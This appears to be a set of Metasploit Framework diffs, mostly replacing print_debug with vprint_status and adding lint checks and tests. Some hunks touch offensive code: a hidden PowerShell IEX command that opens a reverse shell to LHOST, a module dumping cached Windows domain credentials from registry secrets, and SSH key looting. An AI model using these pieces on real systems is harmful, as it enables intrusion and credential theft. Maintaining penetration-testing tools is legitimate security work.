script_in << "\npowerfun -Command reverse"
mods = ''
if datastore['LOAD_MODULES']
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
mods_array.collect(&:strip)
print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
mods_array.each {|m| vprint_good " #{m}"}
mods = "\"#{mods_array.join("\",\n\"")}\""
script_in << " -Download true\n"
end
script_in.gsub!('MODULES_REPLACE', mods)
script_in.gsub!('LPORT_REPLACE', lport.to_s)
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
script = Rex::Powershell::Command.compress_script(script_in)
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
end
end

View File

@ -61,7 +61,8 @@ class Metasploit3 < Msf::Post
data = read_file("#{path}#{sep}#{file}")
file = file.split(sep).last
print_good("Downloaded #{path}#{sep}#{file}")
loot_path = store_loot("ssh.#{file}", "text/plain", session, data, "ssh_#{file}", "OpenSSH #{file} File")
print_good("Downloaded #{path}#{sep}#{file} -> #{loot_path}")
begin
key = SSHKey.new(data, :passphrase => "")

View File

@ -27,11 +27,6 @@ class Metasploit3 < Msf::Post
'SessionTypes' => ['meterpreter'],
'References' => [['URL', 'http://lab.mediaservice.net/code/cachedump.rb']]
))
register_options(
[
OptBool.new('DEBUG', [true, 'Debugging output', false])
], self.class)
end
@ -44,7 +39,7 @@ class Metasploit3 < Msf::Post
def capture_nlkm(lsakey)
nlkm = registry_getvaldata("HKLM\\SECURITY\\Policy\\Secrets\\NL$KM\\CurrVal", "")
print_status("Encrypted NL$KM: #{nlkm.unpack("H*")[0]}") if( datastore['DEBUG'] )
vprint_status("Encrypted NL$KM: #{nlkm.unpack("H*")[0]}")
if lsa_vista_style?
nlkm_dec = decrypt_lsa_data(nlkm, lsakey)
@ -306,7 +301,7 @@ class Metasploit3 < Msf::Post
print_status('Obtaining boot key...')
bootkey = capture_boot_key
print_status("Boot key: #{bootkey.unpack("H*")[0]}") if( datastore['DEBUG'] )
vprint_status("Boot key: #{bootkey.unpack("H*")[0]}")
print_status('Obtaining Lsa key...')
lsakey = capture_lsa_key(bootkey)
@ -315,11 +310,11 @@ class Metasploit3 < Msf::Post
return
end
print_status("Lsa Key: #{lsakey.unpack("H*")[0]}") if( datastore['DEBUG'] )
vprint_status("Lsa Key: #{lsakey.unpack("H*")[0]}")
print_status("Obtaining LK$KM...")
nlkm = capture_nlkm(lsakey)
print_status("NL$KM: #{nlkm.unpack("H*")[0]}") if( datastore['DEBUG'] )
vprint_status("NL$KM: #{nlkm.unpack("H*")[0]}")
print_status("Dumping cached credentials...")
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Cache", KEY_READ)
@ -340,9 +335,9 @@ class Metasploit3 < Msf::Post
cache = parse_cache_entry(nl)
if ( cache.userNameLength > 0 )
print_status("Reg entry: #{nl.unpack("H*")[0]}") if( datastore['DEBUG'] )
print_status("Encrypted data: #{cache.enc_data.unpack("H*")[0]}") if( datastore['DEBUG'] )
print_status("Ch: #{cache.ch.unpack("H*")[0]}") if( datastore['DEBUG'] )
vprint_status("Reg entry: #{nl.unpack("H*")[0]}")
vprint_status("Encrypted data: #{cache.enc_data.unpack("H*")[0]}")
vprint_status("Ch: #{cache.ch.unpack("H*")[0]}")
if lsa_vista_style?
dec_data = decrypt_hash_vista(cache.enc_data, nlkm, cache.ch)
@ -350,7 +345,7 @@ class Metasploit3 < Msf::Post
dec_data = decrypt_hash(cache.enc_data, nlkm, cache.ch)
end
print_status("Decrypted data: #{dec_data.unpack("H*")[0]}") if( datastore['DEBUG'] )
vprint_status("Decrypted data: #{dec_data.unpack("H*")[0]}")
john << parse_decrypted_cache(dec_data, cache)

View File

@ -185,7 +185,7 @@ class Metasploit3 < Msf::Post
:source_type => "exploit",
:user => user_name,
:pass => password)
print_debug "Should have reported..."
vprint_status("Should have reported...")
# Set savedpwds to 1 on return
return 1

View File

@ -86,12 +86,12 @@ class Metasploit3 < Msf::Post
end
def read(size)
vprint_debug("Reading #{size} bytes")
vprint_status("Reading #{size} bytes")
client.railgun.kernel32.ReadFile(@handle, size, size, 4, nil)['lpBuffer']
end
def seek(offset)
vprint_debug("Seeking to offset #{offset}")
vprint_status("Seeking to offset #{offset}")
high_offset = offset >> 32
low_offset = offset & (2**33 - 1)
client.railgun.kernel32.SetFilePointer(@handle, low_offset, high_offset, 0)

2
msfcli
View File

@ -19,8 +19,6 @@ while File.symlink?(msfbase)
end
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib')))
require 'rex'
class Msfcli
#

View File

@ -13,7 +13,11 @@ module Msf
def desc
"Nessus Bridge for Metasploit"
end
def desc
"Nessus Bridge for Metasploit"
end
class ConsoleCommandDispatcher
include Msf::Ui::Console::CommandDispatcher

View File

@ -10,7 +10,8 @@ describe Msf::OptAddressRange do
{ :value => "192.0.2.0-255", :normalized => "192.0.2.0-255" },
{ :value => "192.0.2.0,1-255", :normalized => "192.0.2.0,1-255" },
{ :value => "192.0.2.*", :normalized => "192.0.2.*" },
{ :value => "192.0.2.0-192.0.2.255", :normalized => "192.0.2.0-192.0.2.255" }
{ :value => "192.0.2.0-192.0.2.255", :normalized => "192.0.2.0-192.0.2.255" },
{ :value => "file:#{File.expand_path('short_address_list.txt',FILE_FIXTURES_PATH)}", :normalized => '192.168.1.1 192.168.1.2 192.168.1.3 192.168.1.4 192.168.1.5'}
]
invalid_values = [
# Too many dots

View File

@ -6,7 +6,8 @@ require 'msf/core/option_container'
describe Msf::OptRaw do
valid_values = [
{ :value => 'foo', :normalized => 'foo' }
{ :value => 'foo', :normalized => 'foo' },
{ :value => "file:#{File.expand_path('string_list.txt',FILE_FIXTURES_PATH)}",:normalized => "foo\nbar\nbaz" }
]
invalid_values = []

View File

@ -161,69 +161,6 @@ describe Msf::Ui::Console::CommandDispatcher::Core do
set_and_test_variable(name, 'FRAMEWORK', 'MODULE', /^#{name} => FRAMEWORK$/, /^#{name} => MODULE$/)
end
context "when using file: prefix in the value" do
context "when the file exists" do
before(:each) do
allow(::File).to receive(:new) do |filename, mode|
fd = StringIO.new(file_contents, mode)
fd
end
allow_any_instance_of(::StringIO).to receive(:stat) do |io|
file_contents
end
end
context "when the size is 1MB" do
let(:file_name) do
::Rex::Text.rand_text_alpha(10).upcase
end
let(:file_contents) do
::Rex::Text.rand_text_alpha(1024 * 1024).upcase
end
it "should show the new value" do
set_and_test_variable(name, nil, "file:/#{file_name}", nil, /^#{name} => #{file_contents}$/)
end
end
context "when the size is greater than 1MB" do
let(:file_name) do
::Rex::Text.rand_text_alpha(10).upcase
end
let(:file_contents) do
::Rex::Text.rand_text_alpha(1024 * 1025).upcase
end
it "should show the old value" do
set_and_test_variable(name, nil, "file:/#{file_name}", nil, /^#{name} => $/)
end
end
context "when the size is less than 1MB" do
let(:file_name) do
::Rex::Text.rand_text_alpha(10).upcase
end
let(:file_contents) do
::Rex::Text.rand_text_alpha(10).upcase
end
it "should show the new value" do
set_and_test_variable(name, nil, "file:/#{file_name}", nil, /^#{name} => #{file_contents}$/)
end
end
end
context "when the file doesn't exist" do
it "should show the old value" do
set_and_test_variable(name, nil, "file:/#{::Rex::Text.rand_text_alpha(10).upcase}", nil, /^#{name} => $/)
end
end
end
end
end
end

View File

@ -141,6 +141,71 @@ describe Rex::Proto::Http::Response do
cookies.split(';').map(&:strip)
end
describe '#get_hidden_inputs' do
let(:response) do
res = Rex::Proto::Http::Response.new(200, 'OK')
res.body = %Q|
<html>
<head>
<body>
<form action="test.php">
<input name="input_1" type="hidden" value="some_value_1" />
</form>
<form>
<input name="input_0" type="text" value="Not a hidden input" />
<input name="input_1" type="hidden" value="some_value_1" />
<INPUT name="input_2" type="hidden" value="" />
</form>
</body>
</head>
</htm>
|
res
end
subject do
cli = Rex::Proto::Http::Client.new('127.0.0.1')
cli.connect
req = cli.request_cgi({'uri'=>'/'})
res = cli.send_recv(req)
res
end
before(:each) do
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:request_cgi).with(any_args)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).with(any_args).and_return(response)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:set_config).with(any_args)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:close)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect)
end
context 'when an HTML page contains two forms containing hidden inputs' do
it 'returns an array' do
expect(subject.get_hidden_inputs).to be_kind_of(Array)
end
it 'returns hashes in the array' do
subject.get_hidden_inputs.each do |form|
expect(form).to be_kind_of(Hash)
end
end
it 'returns \'some_value_1\' in the input_1 hidden input from the first element' do
expect(subject.get_hidden_inputs[0]['input_1']).to eq('some_value_1')
end
it 'returns two hidden inputs in the second element' do
expect(subject.get_hidden_inputs[1].length).to eq(2)
end
it 'returns an empty string for the input_2 hidden input from the second element' do
expect(subject.get_hidden_inputs[1]['input_2']).to be_empty
end
end
end
context "#get_cookies" do
it 'returns empty string for no Set-Cookies' do

View File

@ -758,6 +758,26 @@ describe 'modules/payloads', :content do
reference_name: 'cmd/windows/generic'
end
context 'cmd/windows/powershell_bind_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/cmd/windows/powershell_bind_tcp'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'cmd/windows/powershell_bind_tcp'
end
context 'cmd/windows/powershell_reverse_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/cmd/windows/powershell_reverse_tcp'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'cmd/windows/powershell_reverse_tcp'
end
context 'cmd/windows/reverse_lua' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
@ -3794,6 +3814,26 @@ describe 'modules/payloads', :content do
reference_name: 'windows/patchupmeterpreter/bind_hidden_ipknock_tcp'
end
context 'windows/powershell_bind_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/windows/powershell_bind_tcp'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'windows/powershell_bind_tcp'
end
context 'windows/powershell_reverse_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/windows/powershell_reverse_tcp'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'windows/powershell_reverse_tcp'
end
context 'windows/shell/bind_hidden_ipknock_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [

View File

@ -1,5 +1,4 @@
shared_examples_for 'Msf::Module::UI::Message::Verbose' do
it { is_expected.to respond_to :vprint_debug }
it { is_expected.to respond_to :vprint_error }
it { is_expected.to respond_to :vprint_good }
it { is_expected.to respond_to :vprint_status }

View File

@ -34,12 +34,12 @@ class Metasploit3 < Msf::Auxiliary
end
def check
print_debug "Check is successful"
vprint_status("Check is successful")
return Msf::Exploit::CheckCode::Vulnerable
end
def run
print_debug "Run is successful."
vprint_status("Run is successful.")
end
end

View File

@ -34,12 +34,12 @@ class Metasploit3 < Msf::Auxiliary
end
def check
print_debug "Check is successful"
vprint_status("Check is successful")
return Msf::Exploit::CheckCode::Vulnerable
end
def run
print_debug "Run is successful."
vprint_status("Run is successful.")
end
end

View File

@ -123,7 +123,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
def on_request_exploit(cli, request, target_info)
print_debug("Target selected: #{get_target.name}")
vprint_status("Target selected: #{get_target.name}")
print_line(Rex::Text.to_hex_dump([rop_junk].pack("V*")))
print_line(Rex::Text.to_hex_dump([rop_nop].pack("V*")))
p = get_payload(cli, target_info)
@ -148,4 +148,4 @@ end
=begin
Example of raw target_info:
{:source=>"script", :os_name=>"Microsoft Windows", :os_flavor=>"XP", :ua_name=>"MSIE", :ua_ver=>"8.0", :arch=>"x86", :office=>"null", :proxy=>false, :language=>"en-us", :tried=>true}
=end
=end

View File

@ -32,12 +32,12 @@ class Metasploit3 < Msf::Exploit
end
def check
print_debug "Check is successful"
vprint_status("Check is successful")
return Msf::Exploit::CheckCode::Vulnerable
end
def exploit
print_debug "Exploit is successful."
vprint_status("Exploit is successful.")
end
end

View File

@ -601,6 +601,33 @@ class Msftidy
end
end
# Check for (v)print_debug usage, since it doesn't exist anymore
#
# @see https://github.com/rapid7/metasploit-framework/issues/3816
def check_print_debug
if @source =~ /print_debug/
error('Please don\'t use (v)print_debug, use vprint_(status|good|error|warning) instead')
end
end
# Check for modules registering the DEBUG datastore option
#
# @see https://github.com/rapid7/metasploit-framework/issues/3816
def check_register_datastore_debug
if @source =~ /Opt.*\.new\(["'](?i)DEBUG(?-i)["']/
error('Please don\'t register a DEBUG datastore option, it has an special meaning and is used for development')
end
end
# Check for modules using the DEBUG datastore option
#
# @see https://github.com/rapid7/metasploit-framework/issues/3816
def check_use_datastore_debug
if @source =~ /datastore\[["'](?i)DEBUG(?-i)["']\]/
error('Please don\'t use the DEBUG datastore option in production, it has an special meaning and is used for development')
end
end
private
def load_file(file)
@ -650,6 +677,9 @@ def run_checks(full_filepath)
tidy.check_sock_get
tidy.check_udp_sock_get
tidy.check_invalid_url_scheme
tidy.check_print_debug
tidy.check_register_datastore_debug
tidy.check_use_datastore_debug
return tidy
end